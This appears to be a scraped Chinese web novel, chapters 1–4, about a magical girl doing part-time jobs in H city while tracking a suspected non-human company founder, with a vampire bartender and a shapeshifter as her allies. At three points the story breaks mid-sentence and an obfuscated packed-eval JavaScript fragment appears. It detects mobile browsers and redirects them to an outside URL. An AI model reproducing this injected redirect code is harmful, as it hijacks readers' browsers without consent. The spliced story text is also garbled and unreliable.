《糟糕,我成为了魅魔的主人》 1. 婚礼 盛凌华赶到酒店现场,才想起来问祝姐是什么活儿。 此时正忙得不可开交的婚礼策划师祝榕婕,只来得及指着墙边的黑色行李袋,说了一句:“伴娘,出门左转更衣室。” 接着又对着手机暴躁地喊道:“我要的是香槟色气球,香槟色!你们送来的是米白色!” 盛凌华见状立刻噤声,知道现在不是说废话的时候,麻溜地拎起行李袋,去找更衣室。 进去时,里面有好几个女生在化妆,场面十分忙碌。 盛凌华独自找了个角落,打开行李袋一看,里面装着礼服和鞋子,款式和屋内其他女生一致。 这时一个戴着工作证的女生过来搭话,“请问您是……?” “伴娘。”盛凌华又补了一句:“祝姐叫来的。” 对方一听到祝姐的名号,语气都变得热情不少,“哦,是祝姐的朋友啊,你先换衣服,换好我来给你化妆。” 盛凌华道过谢,提着袋子钻进了更衣间。 祝榕婕是这家婚庆公司的元老级员工,人脉广,资历高,因此提她的名字相当好使。 盛凌华和她也是老相识,起初是在一场商演上认识的,后来一有什么兼职机会祝榕婕都会介绍给盛凌华。 这次纯属江湖救急,有位伴娘临时不能到场,祝榕婕就给盛凌华打了个电话,她什么都没问就直接赶来了。 她一边换衣服一边想着,能在H市最好的酒店办婚礼,主家的实力自然不容小觑,看来今天的工资也很可观呢。 出来后,化妆师将她带到化妆镜前坐下,开始为她上底妆。 此时坐在她两旁的伴娘正在闲聊,声音不大不小,盛凌华都听得清清楚楚。 和她猜得差不多,两名新人家境殷实,门当户对。 没过一会儿,化妆师便帮她画完了妆,开始准备做发型。 她一边拨动着盛凌华及肩的粉发,不由发出感慨:“你这头发染得很好啊,又匀称又有光泽,状态维持得也好,下了不少功夫吧?” 诸如此类的赞美,盛凌华已经不知道听过多少次了,其实这发色是天生的,但原因自己却不能说。 所以遇到这种情况,她只能随口应和:“是啊,真的很麻烦。” “粉色蛮挑人的,但你染得很好看,很适合你。”化妆师略带羡慕地看着盛凌华。 对方的发色不是美发行业常见的粉棕、粉紫,而是饱和度极高的芭比粉,是动漫中角色常用的颜色。 但这颜色出现在盛凌华的身上并不违和,她的长相也是偏向可爱风格,眼睛大而灵动,二者搭配起来十分自然。 事实上,盛凌华走在路上,也常常被小孩喊着各种动画角色的名字来着。 “这么漂亮的头发,就不要弄得太复杂了。”本着职业追求,化妆师和盛凌华商量着,最后给她编了一个简洁版的公主头,可以最大程度展现发色,也不至于太华丽而喧宾夺主。 装扮完毕,盛凌华便老老实实坐到沙发上,给祝榕婕发了个消息等候通知。 过了一会儿,对方回了一条消息让她去宴会厅见面,盛凌华抓着手机就出了门。 刚出门,过道上迎面走来三位西装革履的年轻男子,看样子也是婚礼的宾客,不过盛凌华无心关注,只是往边上让了让,想抓紧时间赶到宴会厅。 只是脚上的高跟鞋不允许她走得太快,她只能小心再小心。 三人从她身旁经过时带起了一阵风,盛凌华先是闻到了一股由多股古龙水混杂在一起的味道,不算刺鼻但她并不喜欢。 她刚想屏住呼吸,感知却抢先一步捕捉到异常,脑内警铃大作。 这是……? 盛凌华当即停下脚步转身,只见那几名男子已经走远,依旧在谈天说笑,背影看上去毫无破绽。 气味渐渐飘散,而让她感到熟悉的力量波动也随之不见。 但她很清楚刚刚一定不是错觉,因为魔法少女从不会认错任何非人生物,刚才那三人里一定有人有问题。 她有心想当场追上去看个究竟,只是祝榕婕又发来消息催促,她没办法只能转身离开。 没事的,只要再见面她一定能找出这人。 盛凌华迅速找到祝榕婕,对方叫她过来是为了告诉她等下应该做什么,顺便带着她走了一遍过场。 排练结束,对方特意拍了拍她的肩膀说:“等会儿婚礼结束留下来吃饭,今天的婚宴可是最高标准,你算是有口福了。” 盛凌华一脸遗憾:“晚点我得去换班了,怕时间来不及呢。” 祝榕婕也很了解盛凌华的情况,问:“还在那个便利店打工?” “是啊。” 其实祝榕婕一直不太理解,盛凌华这小姑娘能说会道,又会来事,不知为什么却一直都在打零工。 她之前也给对方介绍过一份稳定的工作,虽说不是什么高薪,但起码比打零工这么四处奔波要好吧? 可盛凌华却各种推辞,最后这事就不了了之了。 祝榕婕心想着,现在网上不是流行什么gap year,追求自由吗?可能她已经落伍,跟不上年轻人的潮流了。 “那你走的时候带份工作餐。” 盛凌华露出甜甜的笑容,嘴角扬起了小梨涡,配合人畜无害的长相,很难不让人生出好感,“谢谢祝姐。” 祝榕婕受不了如此攻势,不由又补了句:“多带几份也行,反正我们订多了,你拿回去当晚饭。” “好嘞!” 之后祝榕婕又得忙活,就让她回休息室等消息。 盛凌华虽然有心想去找人,但是兼职更重要,只得乖乖回休息室等待。 婚礼准点进行,盛凌华按照排练,捧着新娘长达数米的头纱走进宴会大厅。 新人在台上宣读仪式时她便站在角落里,观察着厅内的客人们。 虽然光线昏暗,但她的夜视能力要远超人类,几乎与狼人不相上下,她不怎么费力地将全场人的脸扫了一遍,同时又将感知放到最大。 她很确定,那人不在现场。 是错过了,还是那人已经察觉到她,所以跑路了? 盛凌华觉得前者的可能较大,因为魔法少女的气息很难被察觉,只有个别种族才能辨识。 其次,酒店一般同时会承办多场婚礼,也许那几个人并不是这场婚礼的嘉宾。 很快证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250874|197929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婚仪式结束,到了新人敬酒环节。 等新娘换好衣服,盛凌华就跟在她身后负责倒酒。 她一路跟了下去,全程保持着职业微笑。到了某一桌时,桌上的宾客都是新郎的朋友,大家各种起哄打趣,盛凌华越听越觉得有个人的声音很耳熟,好像就是走廊碰到的三人之一。 此时新郎问他:“庄总人呢?” 对方回答:“公司有要紧事先走了。” 随后两人又说了几句盛凌华听不懂的内行话,她之前已经得知新郎家经营着一家网络公司,据说效益很是不错。 她听了一会,没分析出什么结论,只能暂时先把庄总这个名字记下来。 等把所有流程走完,她找祝榕婕拿钱的时候顺便问了一句认不认识庄总。 对方听到这个称呼也是一头雾水,“今天来参加婚礼的嘉宾十个里五个都是老总,你这范围也太大了,你也不看看这来了多少人。” 盛凌华本身也没有抱太大希望,非人生物们想在人类社会生存下去,都会给自己组建一套堪称完美的身份,普通的背景调查是很难找出破绽的,还是得去找非人生物打听才行。 她收下报酬,拿上工作餐,和相熟的员工打过招呼就离开了。 祝榕婕给的是现金,还都是崭新的大钞,回去的路上盛凌华特意又数了一遍,这才美滋滋地装进口袋。 这个月多赚了几百块呢,可以多给自己放一天假了。 她对于钱这东西并不看重,只要够吃喝就行了,至于别的需求并不多。 魔法少女的体质远高于正常人类,从她觉醒那刻起,就再也没有生过病了。 说来这也是魔法少女这一族群的特殊性,她们不靠繁衍延续血脉,而是通过转世的方法传承。 每一位魔法少女都会在十四五岁时觉醒血脉,相关的知识和能量也会随之一并传承。 此时身体也会出现各种相应的变化,发色便是其中之一,头发会逐渐向粉色靠拢。 颜色越粉,象征着能力越强。 现在的盛凌华,便处于一位魔法少女的实力巅峰时期。 换句话说,就是没人能打过她,各种意义上的人。 当然魔法少女该种族的使命是维护正义,对抗邪恶,所以她也不能随便打人。 她们的力量源自光明女神的祝福,所以每位魔法少女都需心向光明,杜绝一切堕落,与罪恶不共戴天。 人类犯罪自然有相关部门来处理,她平常做的更多的还是打击非人生物犯罪,预防他们对人类社会造成危险。 也是出于这个原因,她没有办法接受祝榕婕介绍的稳定工作,因为她需要更灵活的时间来完成她的使命。 其实一开始她还挺羡慕那些进了大公司,享受福利待遇的同学们,不过后来发觉,灵活也有灵活的好处。 早上不用八点到岗很放松,晚上值夜班到十二点也别有一番风味。 骗你的,没钱谁会去上班? 当然,追求理想那就是另一回事,比如盛凌华就很热爱魔法少女这个身份。 维护正义有什么不好的?谁不喜欢爱与和平? 她就爱当魔法少女! 2. 酒馆 盛凌华在交班之前赶到便利店。 这是她较为稳定的一份长期兼职,店铺位于H市著名酒吧集中地带的边缘角落,到了后半夜经常没有客人,非常符合她随时跑路的需求。 同时也因为该地区夜晚经济发达,时常会引来一些非人生物聚集,此处可以说是一个非常不错的观察点。 “凌华来了啊。”老板娘赵姐抬头冲她打了个招呼。 同事小张还在陈列商品,老板娘正在清点账目,她上小学一年级的女儿坐在一旁津津有味地看着动画,等着妈妈带她回家。 “赵姐,我先去换衣服。” 盛凌华路过柜台时瞥了一眼,小朋友看的是最近在儿童中流行的动画片,故事内容大概是一对人类姐妹可以通过变身成为魔法少女打击罪犯。 所以说,到底什么时候动画片才能放弃主角战斗前需要变身一分钟的设定。 这一点都不合理好吗! 哪会有愿意等你一分钟变完身,摆个造型再战斗的反派? 反正她没遇到过这么好说话的,一般情况都是对方看到她的粉发,露出震惊表情喊着:“什么,原来你是魔法少女!” 然后就呲牙咧嘴地冲过来了,再呲牙咧嘴地躺下了。 整个过程还是挺简单的,魔法少女对非人生物有天然克制,只要不遇到魔王级别的生物,她都能轻松解决。 盛凌华换好工作服出来,老板娘刚巧放下手机,见到她便说:“凌华你拿三袋花生两盒百奇送到尾巷那个酒馆,就是老板是外国人那家。” 这位老板娘也十分会做生意,开张后便给周围的店铺都发去传单提供跑腿服务,哪家店里缺点什么东西,人又走不开,只要打个电话过来,店员便会送货上门了。 盛凌华一听介绍便知是哪家店,点头应下。 正好,她本来也打算去那一趟。 她麻利地装好东西,走出便利店,熟门熟路地在远离主街的角落拐进了一条僻静小巷子。 这片区域的建筑布局十分复杂,因此也孕育而生了一批奇特的夜间经济业态。 白天来这,只会觉得是H市平平无奇的城市一角,但随着夜幕降临,此处霓虹斑斓,各种稀奇古怪的小店便开始营业了。 盛凌华走到一扇不起眼铁门前停下,墙壁上装着一盏铁艺壁灯,暖黄色的光线照亮了壁灯下的花体字招牌。 [Transilvania] 除此之外,门口没有任何与店铺有关的介绍,只有熟客、以及偶尔误入的路人才能找到这里。 老板娘也记不清这家店的名字,所以总是以老板是外国人来代指这里。 盛凌华推开门走了进去,店内面积不大,装修颇具东欧风情,粗粝的石墙、铁质灯具、还有刻意收敛的光线,营造出一股神秘氛围。 店内只有一张吧台和两三张圆桌,同时能容纳十来位客人。 吧台后不见人影,吧台外只有一个身着连帽风衣的矮小背影。 盛凌华径直朝他走了过去,“又来喝酒了啊,爱德蒙呢?” 对方没有说话,端起足有一升容量的啤酒杯仰头畅饮,在一阵咕噜咕噜声中,对方指了个方向。 “谢了,您悠着点吧,别又喝吐了!”盛凌华把东西丢在吧台,又拍了拍对方的肩膀,朝店内走去。 没走两步,身后传来酒杯扣在桌上发出的沉闷巨响,同时还伴随着一声响亮的打嗝。 盛凌华暗自摇了摇头,在心中评价上一句酒蒙子。 店内尽头是一个向下延伸的台阶,这家店铺是一层与地下室的布局,不过地下室不对外公开,老板将其改建成了地下酒窖。 一进地下室,盛凌华便感觉凉飕飕的。目光所及之处全是一排排装着红酒的木架,她穿过酒架,找到了正背对着自己挑选红酒的男子。 她还没走过去,对方就已经开口了。 “我最尊贵的魔法少女,又来查岗了吗?”男人的语调有些古怪,显然中文并不是他的母语。 随着转身,一副极具异域风情的英俊面庞自黑暗中浮现而出,男人身材高挑,棕发绿眼、皮肤白得不像话,穿着一身剪裁服帖的西装,隆重地就像是即将参加晚宴的名流。 盛凌华耸了耸肩膀,“既然你都这么说了,那就查一下吧。” 她快步走到男人面前,仰着头盯着对方,用命令的语气呵斥道:“张嘴。” 对方一脸诧异:“你来真的?” 还有,这语气是怎么回事? 盛凌华一脸无辜地说:“这不是为了满足你吗?人家只是不忍心每一只小蝙蝠失望罢了。” 男人俊美的脸庞出现一丝扭曲,“跟你说过多少回了,吸血鬼不是蝙蝠!” 盛凌华见好就收,敛去笑容,一脸正色道:“不开玩笑了,有事跟你打听,我马上得回店里,小张还等着我呢。” 男人斜了盛凌华一眼,又恢复成先前风度翩翩的姿态,“什么事?” “庄总,这称呼你有印象吗?” 对方思考了一会儿,十分果断地给出答案:“不认识,这倒霉蛋被你给撞上了?” 不等盛凌华回答,他又自顾自接话道:“肯定是了,不然你也不会来跟我打听,在哪碰到的?” “婚礼现场。”盛凌华将过程大致说了一遍。 虽说魔法少女的使命是维护正义,铲除邪恶,但盛凌华觉得也不能一竿子打死。 思路得灵活一点,光明女神也没来过二十一世纪呀,非人生物来了社会也是要讨生活的嘛。 现在已经不是非人生物来骚扰人类的问题,是高科技让人类无处不在,两个群体相遇已经是无可避免的事情了。 所以一位来自克罗地亚偏远地区的吸血鬼,想在异国他乡找个落脚点,开了一家小酒馆,这又有什么问题呢? 对,她说的就是眼前这个男人——爱德蒙·全名太长她记不住,一位寿龄高达八百岁的吸血鬼。 两人初次相遇是在两年前,当时盛凌华刚来H市人生地不熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250875|197929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,之所以来这,也是根据感知选择了一个非人生物聚集最密集的城市。 她也没想到自己刚来工作都没找着,就碰见了爱德蒙。 双方都很紧张,于是直接打了一架。 当时的盛凌华战斗经验严重不足,所以两人只打了个势均力敌,爱德蒙看出了她的状况,及时叫停,向她说明了情况。 之前也介绍过,爱德蒙的寿龄高达八百岁,其原因除了吸血鬼本身长寿之外,也有没被魔法少女干掉的因素。 他之前也曾和几位魔法少女交过手,能够全身而退的重要原因就在于——他不吸血。 众所周知,吸血鬼是以鲜血为生的黑暗生物,但在漫漫历史长河中,该种族也在不断进化,最终演变出可以摄入其他食物的基因,但鲜血依旧在他们的食谱中,所以在吸血鬼内部出现了不同的流派。 一派以坚持传统依旧靠捕食猎物、豢养血奴的守旧派,另一派则是提倡进步、更改饮食的创新派。 爱德蒙便向盛凌华解释了自己并不吸血,并且今后也不会吸血。 盛凌华一开始是不太相信的,毕竟以前也遇到过一些阴险狡诈的案例,但奈何暂时也打不过对方,只能选择相信,但同时要求对爱德蒙的生活进行监视,并且表示自己会不定时抽查。 对方也表示同意,于是二人第一次交战以和平谈判友好结束。 听说盛凌华刚来H市,爱德蒙还运用自己的关系网帮她找了一处物美价廉的出租房。 后来两人的交际渐渐变多,盛凌华发现爱德蒙也没撒谎,他的确不吸血,还是个素食主义者。 她发现时惊讶地问了一句:“你得是果蝠吧?” 这话把爱德蒙气得尖牙都露出来了,他义正言辞地告诉盛凌华,吸血鬼不是蝙蝠。 “都怪那群写小说、拍电影的,这是对我们整个族群的抹黑!” 后来盛凌华才知道,吸血鬼只是能变形成蝙蝠,和蝙蝠没有直接关系。 “以前变也是因为出入方便。”爱德蒙叹了口气,语气颇为无奈:“现在不行了,变成蝙蝠飞出去就得被卫生防疫站的给捞了。” 盛凌华当时很不客气地笑出了声。 爱德蒙在H市也呆了五六年,对此地非常熟悉,尤其是在非人生物圈子里颇有声望,人脉甚广,所以盛凌华才会想来找爱德蒙了解。 “听你这么说,对方应该也在H市混了一段时间才对,但我的确没有听过这个名字,可能平常他不来这边打交道,我回头帮你打听打听。” “谢啦。” “行了,我们就不要说这种客套话了。”谈完正事,爱德蒙笑眯眯地问:“请问我现在还要张嘴吗?” 盛凌华正有求于人呢,自然懂得什么叫做见机行事,立刻露出殷切的笑容,在空中假装牵起裙摆,右脚后退半步,屈膝行礼:“怎么敢劳烦伟大的爱德蒙大人呢,小的告退了。” 对方也相当受用,微微颔首,矜贵地像是个贵族,冲她挥了挥手,“下去吧。” 3. 跟踪 消息交给爱德蒙来处理,盛凌华十分放心, 此人的生存经验和手腕都要远胜于她,知人善用何尝不是一种智慧? 于是盛凌华安心地回便利店和同事小张交班,她在店里等到第二天早上与送完孩子的赵姐交接才回了家。 她现在依旧住在爱德蒙介绍的那间出租房,位置位于老城区,离便利店有些远,不过胜在价格便宜,交通便利,所以一直住在这儿。 盛凌华对房子的要求其实也挺简单,比学校宿舍大点就行,反正平常也不在家里呆着。 回到家里略微休息了一会,盛凌华便恢复了精力。 理论上她一天睡两三个小时就已足够,剩下的时间都是睡懒觉,只要她乐意一天能做五份工。 当然她只是没钱,又不是缺钱,所以也不需要给自己找那么多活儿干,除了固定的便利店兼职外,剩下的工作则是通过不同的人脉接来的。 比如祝姐会给她介绍与婚礼有关的兼职,爱德蒙时常也会帮她揽活。 他那家酒馆虽然不放招牌不做宣传,但因为口碑和人脉,也积累出一批固定客源,其中部分是公司白领,盛凌华还真就接过一些假期上门喂宠物、跑腿之类的活儿。 她这周的工作安排很简单,今天休息,明天去一家奶茶店做临时工,后天则是去鬼屋当NPC。 奶茶店这份工作得来的很意外。 事情得从一年前说起,当时在非人生物圈里有传言,有生物在销售一种对非人生物有成瘾性的饮品。 盛凌华通过一个多星期的摸排,最后抓到幕后黑手是个在奶茶店打工的精灵。 这个精灵刚来人类社会,本来只打算借着工作便利,调点“快乐小饮料”赚外快,没想到下手没轻重,剂量没控制好,成了成瘾性饮品。 弄清楚缘由后,盛凌华也没有将精灵驱逐,而是给它介绍了个专业更对口的工作——某家地下诊所的助理,平常帮着医生整理药材,熬制魔药什么的。 当时精灵担心自己走后奶茶店临时招不到熟手会影响生意,于是盛凌华自告奋勇,顶替了它的工作。 她干了一段时间也跟店员们熟悉起来,后来就演变成哪个店员临时有事调不了班,就会请她来顶替一下。 这家奶茶店就开在写字楼下,生意常年火爆,所以盛凌华时不时就得去帮个忙。 睡醒后,她便在家里做做家务,看看电视,晚上则是又去爱德蒙店里转了一圈。 对方还没有打听出结果,她便在店里听熟客们聊了些职场上的爱恨情仇才回家休息。 什么东西都是远香近臭,以前她只觉得在高级写字楼里上班是一件很体面的事情,了解之后发现其实哪里都差不多。 就算穿着再华美也是人,是人就逃不出那些事。 第二天盛凌华满血复活去奶茶店摇奶茶,下班后觉得有些累了便没有去找爱德蒙,直接回了家。 也不是所有的兼职都让她充满兴趣,毕竟能赚钱,又有意思的事情的确占少数。 去鬼屋当NPC就是一个例外。 说到这份兼职,盛凌华还挺骄傲的,鬼屋老板曾夸过她演技精湛,肢体语言到位,总之老板恨不得跟她签长期合同,想把人给定下来。 其实盛凌华也有点心动,只可惜鬼屋的工作时间太不灵活,她只能忍痛谢绝了伯乐老板的邀请,但每个月还是会抽上几天过来做兼职。 之前她也给这家店介绍过一名员工,如今该员工也成为了店里的明星员工。 这也导致老板对她更是求贤若渴,都想直接升她做店长了。 “啊啊啊啊啊!这家也太吓人了吧!” “我靠,店员真的太拼了,吊威亚吓人,这谁能想到!” 一场表演结束,数位年轻男女惊魂失色地从鬼屋中走出,盛凌华的工作也可以告一段落。 下一时段暂时没有预约,她可以休息一会儿。 她刚到员工休息室坐下,一名身着血衣,脸上画着如同毁容一般特效妆的男人走了进来,热情地同她打招呼。 “华姐,走啊,出去买点喝的。”他的声音听上去很是年轻,也就二十出头。 “现在出去?还没到午休时候啊?” “出去一下又没关系,老板又不管你!”男子极力挑唆着,语气满是自信,显然也是位不怕老板的主。 盛凌华调侃道:“哟,当了台柱子就是不一样了,说话都硬起了。” 男子挺起腰板,扬起了下巴,虽然妆容遮住了表情,但从姿态也能看出几分倨傲来。 “请华姐喝瓶饮料,不是应该的?” “我看你就是想出去转转吧。” 不过盛凌华也没有拒绝,鬼屋内部环境太过昏暗拥堵,呆久了的确渴望呼吸新鲜空气。 “我去换个衣服,你把脸变回来成吗?” 她们俩一个红衣女鬼,一个毁容杀人魔,属于走在路上行人都得过来贴张符纸的程度。 盛凌华的造型比较简单,只要套件外套,戴个口罩就好。 可对方的造型就要复杂很多了,尤其是脸上的特效妆,光是帽子口罩可挡不住。 不过这对他来说也不是难事,正好休息室里也没有其他人,须臾间,男子脸上的假体、妆容瞬间消失,变成了一张普通人的面庞。 长相很普通,属于不丑也不帅,扔在人群里看上一眼就认不出来的程度。 接着对方又戴上了墨镜。 她忍不住吐槽道:“我说有必要吗?你直接换张脸我们从后门溜出去就是了,谁能认识你?” 自己有生之年应该是不会知道卞凯的真面目了,听爱德蒙说,变形怪会杀掉每一个见过他本体的人。 所以盛凌华觉得,这个好奇心没有也罢。 卞凯嘴角上扬,露出一抹得意的笑容,“锻炼一下技艺,最近妆容比较统一,我怕我忘记怎么变成别的了。” 盛凌华好奇地问:“你们变形怪还有手艺不精这回事?我还以为变形和呼吸一样简单呢。” “当然,我们的准确度也是要靠练习,不然回头五官比例太奇怪,那不就不像人了?” 盛凌华想象了一番,也觉得他说得有道理,“那你是得多练练,万一又吓到人怎么办?” 对方这下不乐意了,“干嘛要说又?我那是初入江湖,紧张了。” 半年前,H市论坛上有人发了一条有关“无脸男”的帖子,根据发帖者的描述,他因加班晚上走小路回家,在巷子口遇到了一个没张脸的男人,当时他吓得拔腿狂奔。 一开始网友们都说贴主这是加班加出幻觉来,结果一天后又有其他网友回帖称自己也遇到过,正巧便利店的同事小张是这个论坛的活跃用户,他将这件事情告诉了盛凌华。 于是,盛凌华抱着随便看看的想法,去了帖子里描述的地方,没想到还真就让她碰到了卞凯,当场将他缉拿归案。 鉴于对方只是变形水平太差,并未造成实质性的伤害,盛凌华也就没有下重手,又顺带把他介绍到鬼屋工作。 之后对方表现一直都挺好,在岗位上发光发热,也没出其他乱子。 两人一番乔装后,去了附近的商店买饮料,买好就在路旁边喝边聊。 盛凌华习惯性地向卞凯打听,最近有没有听到什么新消息。 非人生物自然也有自己的圈子,尤其是在H市这种人口爆炸的大都市,关系错综复杂,情报往往也是真假掺半,全靠自己判断。 “最近挺安稳的,没听说什么事情。” “你认识的人里有没有姓庄的?具体是什么种族不大清楚。” “庄?好像没有……”卞凯一边说,一边望向了马路对面的人行道,墨镜遮住了他锐利的眼神。“先不说这个,华姐你看看你认不认识对面那辆黑车里的人。” “什么?哪儿呢?” 盛凌华望了过去,很快就找到了卞凯所说的黑车。这是一辆非常普通的黑色轿车,驾驶座的车窗只开了一半,隐约能看见里面坐着个戴着鸭舌帽的男人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250876|197929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她用感知试探了一下,并没有发觉任何异常,是个普通人。 卞凯说:“那人好像一直在拍你,我一回头,他就把手机收起来了。” “还有这事?” 盛凌华又打量了几眼,只见车窗开始上升,紧接着汽车便发动开走了。 就像是为了故意避嫌似的。 卞凯好奇地问:“这人谁啊?” 盛凌华说:“不认识啊,不过应该是个普通人,有没有可能是对我一见钟情了,所以故意拍照留恋?” “……” 不得不说,他华姐的心态真的不错。 盛凌华看出了卞凯的无语,耸了耸肩道:“当然也有可能是他觉得我的发色不错,想拍下来给理发师看看?” 卞凯憋了半天只能冒出一句:“可能吧。” 盛凌华一脸惊讶地望着他:“这你也信,太扯了吧?” “这不是你说的吗!” “安啦,走了。” 盛凌华大笑着拍了拍卞凯的肩膀,对着远处随手一掷,十分准确地将空饮料瓶扔进了十多米外的垃圾桶里。 “这年头奇怪的事情太多了,如果每件都去追究,那我还活不活了?等事情找上门再说吧。” 这也是盛凌华的人生准则,人只要想干活,那就有干不完的活,所以要学会休息! 然而令人没想到的是,当她们下班从店里出来时再次碰到那个男人。 这次这人没有开车,而是站在鬼屋所在的综合楼下,他换了身衣服,甚至换了个帽子,可盛凌华和卞凯还是一眼认出了这人。 两人对视了一眼,用眼神交换意见,确定是同一个人。 “阴魂不散啊。”卞凯低声问:“你最近惹到什么人了吗?” 盛凌华想了半天,也没想出个对象来,非人生物里当然也有和她关系不好的,但是到有仇这个程度的,还真没有。 只能说,她很会做人吧。 要不然就是那个至今还没有确定身份的神秘庄总,只是她都没找到人家,对方也没有道理自动送上门吧? 见盛凌华想不出来,卞凯提议:“要不交给我?” “你要干什么?” 卞凯望了望天,露出了一个意义不明的笑容,“天要黑了,走夜路碰到点什么也很正常吧?” 盛凌华沉默了片刻后,说:“……你这人真恶趣味。” 卞凯不留情面地拆穿她:“别装了,你明明在笑。” “讨厌,干嘛说得那么直白~” 盛凌华能和非人生物交流如此顺利的一个重要原因便是,她对任何人都是一视同仁,不会因为是人类就偏袒,也不会因为不是人就戴上有色眼镜。 大概是做过太多兼职,见过人生百态的缘故,她深知品行好坏与种族无关,哪里都有渣滓,自然也不愿盲目庇护。 这人跟踪她本就是无理在先,自己反击也在情理之中了。 两人继续朝着前方走去,那名男子也依旧跟着她们,虽然刻意地保持了一段距离,不过这点小伎俩在盛凌华面前还是不太够看。 “这样吧,我们还是给他一个机会吧。” “怎么说?” 盛凌华比出三根手指,“从现在开始,我们一直往前走,过三条马路,如果这人还跟着,那你就动手。” 卞凯答应得很爽快,难得能在店外吓人,让他好好想想等下变个什么比较好。 盛凌华提醒他:“不过你悠着点啊,他只是个普通人。” “放心,我知道分寸的。” 两人假装没有发现他似的继续前行,一转眼三条马路也过了,男子依旧在身后,看来到她撤退的时候了。 趁着拐弯的功夫,盛凌华冲卞凯使了个眼色,一个闪身,钻进了路旁即将关门的公交车。 而卞凯则推了推在夜晚显得格外突兀的墨镜,继续朝前走去。 当男子转过街角时,只来得及捕捉到卞凯钻进巷尾的衣角,他没来得及多想,便匆匆跟了上去。 4. 人才 盛凌华回到家,正准备给自己弄点吃的,卞凯的电话就打了过来。 对方开门见山便是一句:“华姐你还真惹到人了。” “什么,我吗?”盛凌华立刻将手中的菜刀放了下来,“怎么回事?” “这人是个私家侦探,受委托来跟踪你的,而且他已经跟了你一天,你竟然没有察觉?” 盛凌华不服气地说:“普通人我怎么会有印象?况且你知道昨天我们店里有多忙吗?” 进了奶茶店,她满脑子只想着切水果和摇奶茶,哪里还顾上看有没有人盯着自己。 “行行行,先不说这个,委托人我也帮你打听了,挺巧的,这人就姓庄,该不会就是你今天打听的那个?” “什么?”盛凌华不自觉地提高音调,还真有这么巧的事情? 不对,这已经不能叫巧了,这是对面自投罗网。 那人既然还找私家侦探来查她,看来也是感觉到不对劲,所以想查个明白? 只是怎么会找个人类侦探来呢? “那人给留了张名片,我马上给你发过去,你看一下。” “好的,麻烦了,对了人没事吧。” “放心吧,没什么就是被吓到了。”卞凯语气轻松地说着,“你想怎么处理?” 盛凌华想了想,既然对方都已经找上门来了,自己当然也不能坐以待毙,是真是假都得当面碰一碰才行。 “你把人放了,让他别跟着我了。” “放心,他现在已经没有心思想这些事情了。” “那就好,剩下的事情我自己来处理。” 卞凯关心地问:“还需要我做什么吗?” 当年华姐在她初入社会时也帮了不少忙,卞凯嘴上没说,心里一直也是感激的,难得有机会能出力帮忙,他当然义不容辞。 “暂时不用,谢啦。” 两人又聊了几句,得知侦探跟了自己两天一无所获,拍到的全是些工作照,她也就没打算深究,很快挂断了电话。 不一会儿,卞凯发了名片照片过来。 名片上印着暗纹,隔着照片都能看出质感,上面只简单印着两行字。 [天工科技 庄斯夜] 天工科技,这名字有点耳熟,她好像在本地的新闻台上见过。 盛凌华立刻上网搜索,找到了相关介绍。 天工科技是近年迅速崛起的综合性高新技术企业,总部位于H市,因为属于本土企业,所以时常会在H市新闻中出镜。 她在创始人那一栏看到庄斯夜的名字,忍不住挑了挑眉,混得这么好? 正好庄斯夜的名字上标着超链接,她顺势点了一下,页面立刻跳转到了个人介绍上。 庄斯夜,28岁,出身海外移民家庭,毕业于海外某名牌大学,曾获得该校全额奖学金,后在某创意大赛中获得金奖,由此创立天工科技…… 盛凌华读完介绍,只有一个感想——人才啊,她从小就佩服脑子好使的人。 不过事业优秀也不足以说明什么,这人究竟是不是非人生物,究竟对人类有没有威胁,一切还有待考证。 盛凌华将页面拉回到正上方,介绍上配着一张庄斯夜的访问照,只有半张脸,此人虽是黑发黑眼,但是眉骨却格外深邃,鼻梁挺拔,戴着一副无边框的金属眼镜,显得文雅谦和,气质拔群。 长得还挺帅。 既然已经搞清楚了情况,心情也好了不少,她不慌不忙地给自己做了顿饭,吃饱喝足后收拾东西准备去赴约。 她也是有社交生活的。 盛凌华来到Transilvania时,店里客人还不多,爱德蒙正在擦酒杯,看到她来了,立即说:“还没打听出来,这人藏得挺深的。” 盛凌华嘿嘿一笑,挥了挥手:“不用啦,我已经查到了。” 爱德蒙面露诧异:“你找到他了?” “准确来说,是他找到我了。” 盛凌华调出庄斯夜的个人介绍,把手机放下,往爱德蒙面前一推。 对方看完后,只给出一个评价:“这公司我倒是有印象,但从来没听说过这人。” “所以说明这人很低调?” “可以说是相当低调了,不过,你确定是他吗?” 爱德蒙还是感到难以置信,非人生物大多不会选择这样的工作,和人类接触越多,就越有暴露的风险,同时对自己也是一种挑战。 